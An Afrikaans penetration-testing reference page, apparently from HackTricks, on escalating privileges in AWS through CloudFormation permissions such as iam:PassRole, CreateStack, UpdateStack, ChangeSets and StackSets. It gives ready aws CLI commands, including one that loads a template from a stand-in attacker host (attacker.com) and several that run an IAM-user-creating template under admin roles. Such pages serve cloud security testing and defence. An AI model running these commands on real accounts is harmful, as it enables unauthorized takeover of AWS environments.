AWS - Cloudformation Privesc
{{#include ../../../../banners/hacktricks-training.md}}
cloudformation
Vir meer inligting oor cloudformation, kyk:
{{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md {{#endref}}
iam:PassRole, cloudformation:CreateStack
'n Aanvaller met hierdie toestemmings kan voorregte opgradeer deur 'n CloudFormation-stapel te skep met 'n pasgemaakte sjabloon, gehos op hul bediener, om aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
In die volgende bladsy het jy 'n uitbuiting voorbeeld met die bykomende toestemming cloudformation:DescribeStacks:
{{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}}
Potensiële Impak: Privesc na die cloudformation diensrol wat gespesifiseer is.
iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)
In hierdie geval kan jy 'n bestaande cloudformation stapel misbruik om dit op te dateer en voorregte te verhoog soos in die vorige scenario:
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself UpdateStack toestemming oor 'n stapel te gee en die aanval uit te voer.
Potensiële Impak: Privesc na die cloudformation diensrol gespesifiseer.
cloudformation:UpdateStack | cloudformation:SetStackPolicy
As jy hierdie toestemming het maar geen iam:PassRole nie, kan jy steeds die stapels wat gebruik word opdateer en die IAM Rolle wat hulle reeds aangeheg het misbruik. Kyk na die vorige afdeling vir 'n voorbeeld van 'n uitbuiting (moet net nie enige rol in die opdatering aandui nie).
Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself UpdateStack toestemming oor 'n stapel te gee en die aanval uit te voer.
Potensiële Impak: Privesc na die cloudformation diensrol wat reeds aangeheg is.
iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
'n Aanvaller met toestemmings om 'n rol oor te dra en 'n ChangeSet te skep & uit te voer kan 'n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle misbruik net soos met die CreateStack of UpdateStack.
Die volgende uitbuiting is 'n variasie van die CreateStack een wat die ChangeSet toestemmings gebruik om 'n stapel te skep.
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1
echo "Waiting 2 mins to change the stack"
sleep 120
aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1
echo "Waiting 2 mins to execute the stack"
sleep 120
aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
Die cloudformation:SetStackPolicy toestemming kan gebruik word om vir jouself ChangeSet toestemmings oor 'n stapel te gee en die aanval uit te voer.
Potensiële Impak: Privesc na cloudformation diensrolle.
(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
Dit is soos die vorige metode sonder om IAM rolle oor te dra, so jy kan net alreeds aangehegte eenhede misbruik, net die parameter aanpas:
--change-set-type UPDATE
Potensiële Impak: Privesc na die cloudformation diensrol wat reeds aangeheg is.
iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)
'n Aanvaller kan hierdie toestemmings misbruik om StackSets te skep/op te dateer om arbitrêre cloudformation rolle te misbruik.
Potensiële Impak: Privesc na cloudformation diensrolle.
cloudformation:UpdateStackSet
'n Aanvaller kan hierdie toestemming misbruik sonder die passRole toestemming om StackSets op te dateer om die aangehegte cloudformation rolle te misbruik.
Potensiële Impak: Privesc na die aangehegte cloudformation rolle.
Verwysings
{{#include ../../../../banners/hacktricks-training.md}}